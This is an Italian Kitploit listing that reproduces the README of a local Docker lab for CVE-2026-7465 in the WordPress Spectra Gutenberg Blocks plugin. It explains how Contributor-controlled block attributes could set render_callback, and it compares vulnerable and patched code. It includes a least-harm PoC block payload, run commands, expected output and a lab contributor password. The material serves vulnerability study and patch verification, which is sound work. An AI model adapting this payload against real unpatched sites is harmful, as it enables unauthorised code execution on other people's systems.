Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-7465-Lab — Laboratorio Docker locale per analizzare e riprodurre il CVE-2026-7465 nel plugin WordPress Spectra Gutenberg Blocks. Confronta le versioni vulnerabile e corretta con un PoC a minimo impatto che dimostra l'iniezione di render_callback. | Kitploit
Strumenti/GitHubGitHub/rootdirective-sec/cve-2026-7465-lab
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFApprendimento e FormazioneLab e Pratica
GitHubrootdirective-sec/cve-2026-7465-lab

CVE-2026-7465-Lab

Laboratorio Docker locale per analizzare e riprodurre il CVE-2026-7465 nel plugin WordPress Spectra Gutenberg Blocks. Confronta le versioni vulnerabile e corretta con un PoC a minimo impatto che dimostra l'iniezione di render_callback.

Vedi Repository
223 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-7465 - Laboratorio Locale Spectra Gutenberg Blocks

Laboratorio Docker locale per analizzare e riprodurre CVE-2026-7465 nel plugin WordPress Spectra Gutenberg Blocks (ultimate-addons-for-gutenberg).

Il laboratorio confronta:

  • vuln: Spectra 2.19.25
  • patched: Spectra 2.19.26

La prova è intenzionalmente a danno minimo. Non esegue comandi shell, non carica file, non crea utenti, né modifica direttamente il container. Il PoC crea un post bozza temporaneo di WordPress, verifica il comportamento dei blocchi renderizzati, quindi elimina la bozza.


Riepilogo

CVE-2026-7465 è una vulnerabilità in Spectra Gutenberg Blocks in cui attributi di blocco Gutenberg controllati dall'utente potevano essere passati come argomenti di registrazione dei blocchi di WordPress.

Nella versione vulnerabile, Spectra registra dinamicamente i blocchi uagb/* analizzati utilizzando gli attributi dei blocchi dal contenuto del post:

$registry->register( $block['blockName'], $block['attrs'] );

Poiché un Collaboratore (Contributor) può creare contenuti di post contenenti commenti di blocchi Gutenberg, un utente autenticato con ruolo di Collaboratore può influenzare argomenti di registrazione come render_callback.

La versione 2.19.26 risolve il problema registrando il blocco con un array di argomenti vuoto:

$registry->register( $block['blockName'], array() );

Ciò impedisce che gli attributi dei blocchi controllati dal post diventino opzioni di registrazione PHP dei blocchi.


Componente Affetto

Prodotto:

Spectra Gutenberg Blocks
WordPress plugin slug: ultimate-addons-for-gutenberg

Versioni utilizzate in questo laboratorio:

vulnerable: 2.19.25
patched:    2.19.26

Il changelog di WordPress.org per 2.19.26 afferma che l'aggiornamento ha risolto un bug di sicurezza e riconosce Wordfence per la segnalazione responsabile.


Causa Principale

La logica vulnerabile si trova in:

classes/class-uagb-init-blocks.php

Il codice vulnerabile verifica se un nome di blocco analizzato contiene il namespace uagb/. Se il blocco non è già registrato, lo registra dinamicamente.

Comportamento vulnerabile

if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {

    $registry = WP_Block_Type_Registry::get_instance();

    if ( ! $registry->is_registered( $block['blockName'] ) ) {
        $registry->register( $block['blockName'], $block['attrs'] );
    }
}

Il problema è il secondo argomento:

$block['attrs']

In Gutenberg, gli attributi dei blocchi possono essere memorizzati all'interno del contenuto del post, ad esempio:

<!-- wp:uagb/example {"render_callback":"maybe_serialize"} /-->

Un Collaboratore può creare contenuti di post bozza. Pertanto, l'attaccante può influenzare $block['attrs'].

Quando questi attributi vengono passati a WP_Block_Type_Registry::register(), diventano argomenti di registrazione dei blocchi. Un argomento di registrazione sensibile è:

render_callback

Questo crea una primitiva di controllo dei callback.

Comportamento corretto

Nella 2.19.26, Spectra registra ancora il nome del blocco uagb/* analizzato, ma non passa più gli attributi controllati dal post come argomenti di registrazione:

if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {

    $registry = WP_Block_Type_Registry::get_instance();

    if ( ! $registry->is_registered( $block['blockName'] ) ) {
        $registry->register( $block['blockName'], array() );
    }
}

Il cambiamento importante è:

- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );

Questo rimuove gli attributi controllati dall'attaccante dal percorso di registrazione del blocco.


Perché il PoC Utilizza maybe_serialize

Il PoC non utilizza callback PHP pericolosi come system, exec, shell_exec o passthru.

Invece, utilizza:

maybe_serialize

Il contenuto del blocco di prova è:

<!-- wp:uagb/cve-2026-7465-lab {"render_callback":"maybe_serialize"} /-->
<!-- wp:uagb/cve-2026-7465-lab {"lab_marker":"CVE_2026_7465_LEAST_HARM_CALLBACK_MARKER","proof":"least-harm"} /-->

Comportamento previsto:

vulnerable:
  render_callback from block attrs is accepted
  marker appears in rendered content

patched:
  render_callback from block attrs is ignored
  marker does not appear in rendered content

Questo dimostra il comportamento vulnerabile senza eseguire comandi o scrivere file.


Architettura del Laboratorio

Servizi:

db_vuln      MariaDB per WordPress vulnerabile
db_patched   MariaDB per WordPress corretto
vuln         WordPress + Spectra 2.19.25
patched      WordPress + Spectra 2.19.26
seed_vuln    setup WordPress one-shot per sito vulnerabile
seed_patched setup WordPress one-shot per sito corretto

Porte locali:

http://127.0.0.1:8181 -> WordPress vulnerabile
http://127.0.0.1:8182 -> WordPress corretto

Utente WordPress preconfigurato:

username: contributor
password: contributorpass123!
ruolo:    contributor

Il PoC è solo HTTP. Interagisce con WordPress tramite login e richieste API REST.


Struttura del Repository

.
├── docker-compose.yml
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
├── scripts
│   └── seed-wordpress.sh
├── vuln
│   └── Dockerfile

Esecuzione del Laboratorio

Avvia da un ambiente pulito:

docker compose down -v --remove-orphans
docker compose up -d --build

Controlla i container:

docker compose ps

Controlla i log di seed:

docker compose logs seed_vuln seed_patched

Risultato atteso del seed:

[+] seed vuln: done
[+] seed patched: done

Esecuzione del PoC

Testa il target vulnerabile:

python3 poc/poc.py -t http://127.0.0.1:8181

Verdetto atteso per vulnerabile:

[VERDICT]
  VULNERABLE_BEHAVIOR_OBSERVED

Testa il target corretto:

python3 poc/poc.py -t http://127.0.0.1:8182

Verdetto atteso per corretto:

[VERDICT]
  PATCHED_BEHAVIOR_OBSERVED

Output Atteso

Vulnerabile - Spectra 2.19.25

[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8181

[INFO] fingerprinting target
  spectra_stable_tag: 2.19.25
  spectra_changelog_latest: 2.19.25
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=16
[INFO] fetching rendered content

[EVIDENCE]
  raw_contains_marker:      True
  rendered_contains_marker: True
  rendered_length:          227
  proof_callback:           maybe_serialize
  synthetic_block:          uagb/cve-2026-7465-lab

[VERDICT]
  VULNERABLE_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=16
[OK] cleanup complete

Corretto - Spectra 2.19.26

[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8182

[INFO] fingerprinting target
  spectra_stable_tag: 2.19.26
  spectra_changelog_latest: 2.19.26
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=14
[INFO] fetching rendered content

[EVIDENCE]
  raw_contains_marker:      True
  rendered_contains_marker: False
  rendered_length:          1
  proof_callback:           maybe_serialize
  synthetic_block:          uagb/cve-2026-7465-lab

[VERDICT]
  PATCHED_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=14
[OK] cleanup complete

Interpretazione delle Evidenze

Il confronto importante è:

raw_contains_marker
rendered_contains_marker
Scarica lo strumento